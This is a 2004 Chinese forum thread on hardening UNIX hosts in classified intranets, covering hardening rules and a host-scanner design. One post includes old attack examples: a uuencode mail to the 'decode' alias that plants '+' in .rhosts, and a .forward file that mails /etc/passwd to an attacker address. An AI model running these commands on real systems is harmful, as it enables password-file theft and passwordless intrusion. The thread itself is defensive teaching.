免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 3461 | 回复: 7
打印 上一主题 下一主题

投砖引玉 话主机安全 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2004-06-14 10:24 |只看该作者 |倒序浏览
我来提议 讨论讨论 在对安全程度要求较高的 内网环境下 如何对UNIX主机进行安全防护
各位大牛就不要总潜水了 呵呵

一起为安全版加加油!

我来扔第一块砖.

论坛徽章:
0
2 [报告]
发表于 2004-06-14 10:38 |只看该作者

投砖引玉 话主机安全

随着计算机在各行各业应用的深入和普及,各类社会、经济、政治、国防等重要信息大量的在计算机中存储和网络中传输。计算机信息系统已经逐步成为整个国家政府机构运转的命脉。社会的计算机化产生了一种新的社会资产,而这个信息资产由两部分组成一部分是计算机信息系统资源-各种硬件、软件、固件以及相关文档资料、配套设备、设施、系统服务等;另一种则是系统生产和拥有的、存储的电子信息资源,可能包括统计报表、科技资料、设计图纸、实验数据、各类计划、决策等。
    信息安全按其载体类型,主要分为网络安全和主机安全。网络安全控制上网拥护能安全可靠地到达网络什么地方以及如何传输,访问哪些数据以某种方式等等。而主机安全则控制系统用户能否进入系统以及进入后能访问哪些资源。这其中包括操作系统安全、应用程序安全、数据安全、用户安全等。
    目前国内外主流的服务器如IBM RS6000/HP N4000等均采用UNIX系统来做为其应用的平台,如ANSOFT/Mentor/UG等大型工程用软件也都采用其做为其主要开发平台。本人在和政府、军工等客户长期的沟通过程中发现,此类服务器通常处于一个非常重要的位置,却在安全性上很容易被忽视。于是如何解决此类UNIX主机的安全问题,尽量的降低安全风险就成为了一个不可不说的话题。

论坛徽章:
0
3 [报告]
发表于 2004-06-14 10:49 |只看该作者

投砖引玉 话主机安全

4.3.1 口令安全性规则
通过口令进行身份认证是目前实现计算机安全的主要手段之一,一个用户的口令被非法用户获悉,则该非法用户即获得了该用户的全部权限,这样,尤其是高权限用户的口令泄露以后,主机和网络也就随即失去了安全性。系统管理员以及其它所有用户对口令选取应采取负责的态度,消除侥幸和偷懒思想。具体来说应遵循以下一些规则:

口令长度不要小于6位,并应同时包含字母和数字,以及标点符号和控制字符。
口令中不要使用常用单词(避免字典攻击)、英文简称、个人信息(如生日、名字、反向拼写的登录名、房间中可见的东西)、年份以及机器中的命令等,不要在不同系统上,特别是不同级别的用户上使用同一口令。
定期改变口令。
系统安装对口令文件进行隐藏的程序或设置(例如Shadow Suite for linux)。
系统配置对用户口令设置情况进行检测的程序,并强制用户定期改变口令,任何一个用户口令的脆弱,都会影响整个系统的安全性。

4.3.2 超级用户唯一性规则
超级用户对于系统的一切文件都有进行所有操作的权利。但是最大的自由相应地也需要承担最大的风险,如果超级用户权限被黑客得到,将对整个系统带来毁灭性的打击。为了减少超级用户被破译的可能性,必须将系统中多余的超级用户删除,在一个系统中只存在一个超级用户是每个系统管理员必须遵守的原则。

超级用户可以从/etc/passwd文件中查出,超级用户的user ID为0,但是group ID稍有不同,在不同的系统版本里分别有两种形式:0或1。当/etc/passwd文件中有多于两个用户项为:用户名:0:0或用户名:0:1时,就必须遵照唯一性规则进行改正。

4.3.3 禁用Trusted主机(被信任主机)规则
在实际工作中,系统管理员为方便与其他主机进行数据传输、软硬件资源共享和r服务(如rlogin、rsh等远程系统调用命令),往往在/etc/hosts.equiv文件中设置远程主机名,以此确认该主机为Truseted主机。这样,一个被信任主机可以不需口令地访问系统及调用r服务。更有甚者,某些系统管理员在/etc/hosts.equiv文件内设置"+"符号,虽然这个参数可以方便所有远程访问,但同样方便了黑客。因为这会使任何一台主机上的任何用户都可以不需口令地访问系统,对系统安全造成很大的损害。

同样,.rhosts文件也提供了Trusted主机和r命令访问功能。但它比/etc/hosts.equiv文件可能会导致更大的安全漏洞。因为系统内的任何用户都可能在各自的$HOME目录下创建该文件。那么.rhosts文件中指定的远程主机上的用户在以该用户名登录本地主机系统时,不需口令认证。特别是在.rhosts 文件内设置"+"符号的情形,更会使任何一台主机上的任何用户都可以不需口令地访问本系统的这个用户,从而导致安全漏洞的出现。

为安全计,如果无特殊需要,应该清除一切Trusted主机相关配置。

4.3.4 禁用r命令规则
r命令是由Berkley开发的一系列命令软件,由于这些命令如rlogin、rsh、rcp、rdist等均以"r"开头,因此统称为r命令。

r命令固有的弱点包括:任何口令都是未经加密的,如果有人对网络进行窃听,很容易发现口令;整个r命令对话都是未经加密的,对话中的每一个字符(包括口令)很容易被记录下来;系统管理员为管理方便,经常使用rlogin等命令从远程登录来调试Web服务器的设置,形成潜在的安全漏洞。

为安全计,如果无特殊需要,应该在路由器上或主机/etc/inetd.conf文件内过滤掉512、513和514(TCP)端口,这样可阻止主机外部用户使用r命令。

4.3.5 禁用X Windows 规则

X Windows系统是一种客户机/服务器结构的窗口系统,每个拥有显示设备的主机系统都可以作为服务器,并可接受另一个主机系统作为其客户。它的运行模式是:程序在客户机系统上运行,而用户界面却显示在服务器的显示设备上,客户机通过网络把应该显示出来的内容传送给服务器,服务器则把用户的输入通过网络传送给客户机。

和r命令一样,所有的X Windows 传输内容都是不加密的,并且它的身份验证功能也不够强大,容易丧失作用(如"xhost +"命令)。

为安全计,如果无特殊需要,X Windows设置可以认为是不必要的。

4.3.6 禁用/etc/aliases中的"decode"别名规则

如果系统管理员没有将/etc/aliases文件内以decode别名起始的一行注释掉,那么该主机允许decode别名。若用户zy主目录(如/export/home/zy)下的 .rhosts文件对daemon(smtp服务器通常以daemon用户身份运行)可写,即有:

sun%echo "+" | uuencode /export/home/zy/.rhosts | mail decode@ngcc.com

在该例中,本地的uuencode程序生成一个编码流,文件名为"/export/home/zy/.rhosts ",内容为一个"+",并作为电子邮件发给ngcc.com上的decode别名。ngcc.com收到该邮件后,把这个编码流重定向到解码程序uudecode,uudecode则恢复文件内容,并试图把它存为/export/home/zy/.rhosts。如果daemon对/export/home/zy/目录有写权限,则上述命令执行成功。于是/export/home/zy/.rhosts中就出现一个"+",这正是攻击者需要的。

为安全计,应该禁用/etc/aliases中的"decode"别名。

4.3.7 审核文件和目录权限规则
(1)FTP的根目录

FTP的根目录不同于主机系统的根目录,所以FTP下看到的/etc/passwd和系统的/etc/passwd不是一个文件,但有些不称职的系统管理员在创建FTP目录结构时会把系统的/etc/passwd文件直接拷贝过来,这就会给黑客以可乘之机。

FTP的根目录是在系统的/etc/passwd文件中指定的,也就是用匿名FTP登录到主机后的起始目录。

例如:事先编写forward_sucker_file shell脚本,内容为:
sun% cat forward_sucker_file
"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr"

通过FTP将forward_sucker_file脚本传送到目标主机(如ngcc.com)
sun% ftp ngcc.com
Connected to ngcc.com
220 victim FTP server ready.
Name (ngcc.com:zy): ftp
331 Guest login ok, send ident as password.
Password: [输入电子邮件地址]
230 Guest login ok, access restrictions apply.
ftp>; put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp>; quit

将passwd文件内容发送到黑客邮件地址:
sun% echo test | mail ftp@ngcc.com

如果匿名FTP主目录可写,可以在其下投放一个".forward"文件;文件内容是一行用双引号引起来的Shell命令;".forward"文件是用于邮件转发的:如果某一用户(此处为ftp)的主目录下有这个文件,那么当该用户收到邮件时,就要视".forward"的内容进行转发。如果".forward"的内容为一些电子邮件地址,该邮件就被转发到这些地址;而如果为一行用双引号引起来的Shell命令,则该邮件的内容被重定向到此命令。此处,命令为:"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr",实际上对重定向过来的作为输入的邮件内容没有做任何处理,而是把/etc/passwd(为了防止被安全机制过滤,先在每一行行首增加一个空格)发到了攻击者的电子邮件地址(me@my.e-mail.addr)。因此,在投放了这样一个".forward"文件后,再随便发一封电子邮件给victim.com上的FTP用户,通过"转发"功能,ngcc.com上的/etc/passwd文件就寄到攻击者的电子邮件地址上。

(2)其他文件和目录

确保没有其他文件和目录被FTP用户或所在的组拥有所有权(ownered by ftp account and ftp group);否则,黑客可能借助特洛伊木马程序对合法文件进行替代,构成漏洞隐患。

除了~/ftp/incoming目录外,匿名(anonymous)FTP 用户在其他目录下不能创建任何文件和子目录。

文件和目录权限修改要慎重:对于系统或CERT组织推荐的有关特定文件的读写权限,如/var/adm/utmpx和/var/adm/wtmpx文件权限应该为644,不要轻易修改。一般情况下,拥有对任何文件和目录具有写权限的用户只能是超级用户,进一步说,如果一个文件或目录可写,则可写者只能为超级用户。

(3)setUID和setGID问题

setUID的作用是允许程序以一个特定用户的身份去运行,而不管到底是谁在运行它。就是说,setUID允许程序将其用户ID改变为另一个用户的ID。SetGID功能同setUID,区别是将一个正在运行的程序的组帐号改变为一个特定的组帐号。setUID和setGID只使用于可执行文件,二者对某些特定的程序才可以访问特定信息的情形是很有价值的。如普通用户在运行passwd命令时,由于该命令setUID为root,则可以获得修改只有root才有相应权限的/etc/shadow文件,从而改变自己的口令。

但是,setUID和setGID容易被黑客利用来制造缓冲区溢出,从而永久获得root权限。据CERT指出,利用setUID制造缓冲区溢出是黑客获得root权限的主要方法之一。因此,系统管理员不能随意赋予可执行文件setUID和setGID特性。

4.3.8 审核用户帐户的安全性规则

Solaris和Irix等Unix系统中,除去超级用户外,还存在如lp、sys、adm、nobody等管理帐户。虽然它们没有超级用户的特权,但同样应受到保护,因为这些帐户的系统进程可以控制基本的系统功能,如电子邮件、关系数据库访问、打印等。这些管理帐户内的任何一个遭到攻击,都可能导致相应子系统中的文件被大规模地暴露和损坏。例如,lp帐户所受的破坏可能会造成攻击者对打印子系统获得完全控制,从而使黑客能够任意地修改打印输出的内容。

从管理帐户在Web服务器运作中的职责和作用看,大部分应该予以封闭。比如lp,Web服务器上是没有必要也不允许打印文件的。由于这些管理帐户是Unix系统预装的,系统管理员常予以保留。但这些管理帐户可能被黑客利用,且它们对Web服务器用处不大。所以,一些管理帐户,包括daemon、sys、lp、adm、uucp、nuucp、listen,应该封闭。

此外,超级用户的PATH(在cshell中存在于.cshrc文件,在kshell中存在于.profile文件)或LD_LIBRARY_PATH变量中,不应该存在"."或"~"字符,因为黑客可能利用这一点来植入特洛伊木马程序。

审核用户帐户的安全性规则涉及到/etc/passwd和/etc/shadow两个核心文件。一方面,系统管理员要保证其内容完整性,禁止非法修改,或者及时发现非法修改并予以修正;另一方面,禁止无口令或弱势口令的存在。所谓弱势口令指易于猜测、破解或长期不变更的口令。实践表明,主机安全的核心问题是超级用户的口令安全问题。超级用户的口令被泄露或被成功破解,等于拱手将服务器系统的所有管理权让于黑客,黑客可以轻易获得主机内的所有数据。

4.3.9 禁止不必要的网络访问服务规则

所谓不必要的网络访问服务是指实现主机系统网络服务功能所不需要运行的服务。对于Web主机而言,很多网络访问服务在操作系统安装时就被缺省配置,其所对应的TCP/UDP端口也对外打开,如非常危险的finger服务和它对应的79号TCP端口。通过对网站的端口扫描,可以发现很多系统管理员对外提供了或多或少的不必要的网络访问服务。而从系统内部审核不必要网络访问服务的方法是禁止不必要的网络访问服务的最有效手段之一。

需要补充的是,另外一些需要禁止的服务为:sendmail、NFS服务器和客户机、automounter和rexd等。由于sendmail是著名的漏洞程序,很多机构购置了Netscape Messaging Server等其他mail服务软件加以替代;rexd服务基本无安全可言,远程用户可以象在本地一样畅通无阻地运行本地主机的程序。因此rexd处于被禁之列。
4.4.2 检查用户信息

(1)检测服务器系统中是否存在多个超级用户,确定潜在的后门。如果系统存在多个超级用户,为系统安全计,建议手工删除多余或非法的超级用户设置。这部分功能主要通过检测/etc/passwd文件内的相关信息得以实现。

(2)将/etc/passwd 文件与其标准备份文件(如/etc/ncb)进行比较,确定二者的不同之处。该标准备份文件应不易被攻击者发现,最好放置在内含文件较多的系统缺省目录内,命名则与系统命令类似。该标准备份文件可视为用户配置标准规则之一,系统管理员的配置和更新均及时反映在这个文件中,并且是合理的。在标准备份文件与/etc/passwd进行逐行比较的情况下,黑客对/etc/passwd的任何改变均会被检测出来。

(3)在/etc/shadow 文件中检测是否有无口令用户的存在。如果存在无口令用户立即给出警告信息。

(4)检测服务器中用户主目录的权限设置,当用户目录权限超过组可读的限度时给出警告,特别是用户主目录全可写时给出严重警告,提醒管理员立即修改该用户主目录权限。

4.4.3 危险Suid文件的检查

扫描几个重要的系统可执行文件的目录,包括/usr/bin、/usr/sbin、/usr/dt/bin和/usr/openwin/bin。由于系统本身在这些目录下就具有很多必要的Suid的文件,所以在实现中对应于每个目录都有一个该目录下标准的合法Suid文件库,当在扫描中如果发现不是标准库中的Suid文件时,就显示出该文件,并给出警告,提醒管理员立即检查该文件的合法性。

4.4.4 检查文件安全性

(1)检查/etc目录下重要配置文件的权限,对于此类文件超过组可读的权限即给出警告并根据权限大小给出相应警告。

(2)通过扫描/etc/passwd文件,检测服务器中用户主目录的权限设置,当用户目录权限超过组可读的限度时给出警告,特别是用户主目录全可写时给出严重警告,提醒管理员立即修改该用户主目录权限。

4.4.5 基于信任机制的扫描

(1)检查/etc/hosts.equiv文件的安全性。首先检查该文件是否存在,如果该文件存在,再检查该文件是否为空,如果为空,则建议系统管理员删除该文件;如果不为空,则进一步检查该文件内是否存在"+"符号,如果存在,程序予以严重警告。

(2)检测 /.rhosts文件的安全性。如果该文件存在,程序予以警告;如果该文件内存在"+"符号,程序予以严重警告;如果该文件内存在"++",则程序要求管理员立即删除此标记并用入侵检测工具检查整个系统。最后程序建议用户如无必要则删除该文件。

4.4.6 检查网络访问服务安全

扫描/etc/services和/etc/inetd.conf文件,如果一个网络服务在两个文件中都没有被注释掉,则表明系统启动了该网络服务。在这些启动的网络服务中,再看有没有一些存在隐患、易被黑客利用而又没有太大必要开放的服务,如果有则提出警告,由系统管理员作最后的权衡,是否关掉该服务。

4.4.7 检测NFS漏洞

检测目标主机是否存在NFS 共享的目录和文件,如果存在则给出警告。需要说明的是,主机扫描模块获知的漏洞信息,一般情况下,予以提示系统管理员。至于修改漏洞,为安全计,建议系统管理员手动修改完成。

4.4.8 其它隐患扫描

(1)检查 /etc/aliases 文件中 decode项是否被封闭,若没有则提示是否添加 "#"符号 于 /etc/aliases 中decode 相关行首。

(2)检测 /.cshrc 脚本文件path设置项内是否存在 "." 字符,是则建议删除。

论坛徽章:
0
4 [报告]
发表于 2004-06-14 11:05 |只看该作者

投砖引玉 话主机安全

1、        UNIX主机系统风险分析

1.1涉密网络信息系统特点以及其应用管理特点
    首先,我们必须明确的一点是,我们所关注的UNIX主机非一般情况下的UNIX主机,而是在一种主要用于理论计算和工程设计的高性能技术计算型系统,其主要以资源共享的方式向内部网络中的各类用户提供计算、仿真、数据处理和可视化服务,其处理的信息大都涉及国家秘密,在这种信息系统中的资产包括以下多个方面:
    信息/硬件/软件/网络通讯设备/存储介质/各种服务/环境以及支持设备/人员
    (高性能计算服务/工程仿真服务/信息检索服务等)
    除了考虑到物理安全、数据安全、逻辑隔离、访问控制等之外,主机的安全也是必须要考虑到的。如果仅仅依赖一个B2级别的安全操作系统来确保安全,还是不够的,应该从应用流程角度上规范主机的使用过程,以避免滥用、误用信息资源而造成不可估量的损失。一般应用流程应该如下:
       
                                                                   场地分配                                  建库
任务立项--+资源申请--+批准--+安全策略设置--+建模--+-- 分析--+输出
        权限申请                               仿真
    其中用户初始的任务立项、准备、保密控制设置等应该是一次性的,而其工作流程以及按照安全策略设置进行的安全管理控制则应该是反复循环多次的。在这样一种封闭式的使用流程中,可以保证资源的使用是明确可控的;在主体客体均明确的情况下为安全策略的集中设计以及设置提供了方便,又为按行为模式识别异常行为和入侵检测等提供了方便。

论坛徽章:
0
5 [报告]
发表于 2004-06-14 11:36 |只看该作者

投砖引玉 话主机安全

1.2 主机安全需求分析
    在按照上述流程已经获得使用权的用户,具有合法身份,那么如何确保合法的用户能够按照既定的安全策略访问其权限以内的资源呢?对于主机而言,在保障有效的管理/网络安全措施的基础之上,仍需要加强主机的安全管理,具体如下:
    保证进入的用户都为合法用户,并且具有多种身份认证机制的,如动态双因子口令系统/SSO等能对口令参数、口令周期等进行审计和控制;
    保证用户的操作----对应用程序的操作处于受控状态,防止敏感应用程序的滥用和黑客程序(如后门等)的发挥作用;
    提供多种角色,实现管理员与安全管理员的职权分离;
   提供整体的安全策略和实施手段;
   系统必须确保连续的审计记录,以达到对于系统所进行所有操作的不可抵赖性。

1.3 UNIX主机漏洞分析
    对于前面所提及的网络环境来说,其UNIX主机的薄弱点一般表现在三个方面:一是操作系统软件本身设计的不足,如使用C2级别的操作系统完成B1级别操作系统的安全任务,显然是不可能的;二是操作系统软件编制过程中的不足,例如众所周知的各种类型的缓冲区溢出等;三是系统管理员的参数配置不当,例如FTP的用户权限分配错误等。下面列举部分漏洞:
   超级管理员账号问题
    Root用户具有最高的特权,可以执行系统中的任何命令,显然其口令如果很容易被破解必然会给破坏者以可乘之机;
   用户安全问题
    普通用户在远程登录UNIX主机时,口令是在网络中明码传输的,如果攻击者采取sniffer手段获取并回放操作就很容易获得口令;
   网络服务开放问题
    大多数UNIX主机服务器上的网络服务都是缺省情况下开放的,如rlogin/ftp/rexecd/fingerd/rusersd/uucpd/tftpd等;
   文件系统访问控制
    普通情况下,对于应用程序、数据、目录的访问控制仅仅取决于用户的ID和读写权限,这是一种自主访问控制方式(DAC)。攻击者可以通过SUID/SGID来改变ID跳过设定的访问权限,从而扩大访问范围;
    作业调度控制
    UNIX系统中允许用户发送延迟启动的命令,还允许设立定时任务,从而给后门程序以可乘之机;
   主机和用户信任机制
    不同UNIX主机之间通过.rhost/hosts.equiv等进行身份验证从而建立快速网络连接,这种机制很容易被入侵者所利用
   别名机制
    大多数命令都可以被赋予一个容易记录的简短的名称,而该名称极易被攻击者利用被替换为具有潜在威胁的恶意程序。

论坛徽章:
0
6 [报告]
发表于 2004-06-14 13:08 |只看该作者

投砖引玉 话主机安全

把我想发的贴子发了!顶!

论坛徽章:
0
7 [报告]
发表于 2004-06-14 20:53 |只看该作者

投砖引玉 话主机安全

普通的安全措施显然是有用的,但总觉得有点治标不治本

论坛徽章:
0
8 [报告]
发表于 2004-06-15 09:30 |只看该作者

投砖引玉 话主机安全

继续ing
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP